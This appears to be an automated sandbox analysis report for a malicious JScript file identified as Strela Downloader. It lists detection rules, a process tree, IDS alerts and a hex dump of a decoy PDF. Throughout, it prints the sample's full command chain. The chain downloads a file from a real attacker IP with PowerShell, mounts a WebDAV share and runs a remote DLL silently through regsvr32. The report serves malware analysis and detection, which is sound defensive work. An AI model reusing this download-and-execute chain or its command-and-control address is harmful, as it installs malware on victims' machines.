Edit tour

Windows Analysis Report
24667857242018421.js

Overview

General Information

Sample name:	24667857242018421.js
Analysis ID:	1588682
MD5:	410b3a7a72d3c17367ecb5c36d4fb55d
SHA1:	0f52d794c46caef80ab7fb2957648bab40c3283e
SHA256:	badcd4bc5f90bd68a43c7734968f4db33cc2f701d1d61eacf918835c18db879f
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2220 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4268 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6224 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6524 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5260 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1600,i,1825472500160440610,8265864337311220648,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4324 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4092 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6540 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2220	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4268, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6224, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4268, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6224, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", ProcessId: 2220, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4092, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, ProcessId: 4268, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, ProcessId: 4268, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, ProcessId: 4268, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, ProcessId: 4268, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, ProcessId: 4268, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", ProcessId: 2220, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4268, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6224, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4324, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4092, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6540, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4324, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4092, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll, ProcessId: 4268, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:08:56.884159+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:08:59.356786+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:08:56.884159+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 24667857242018421.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 24667857242018421.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:08:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
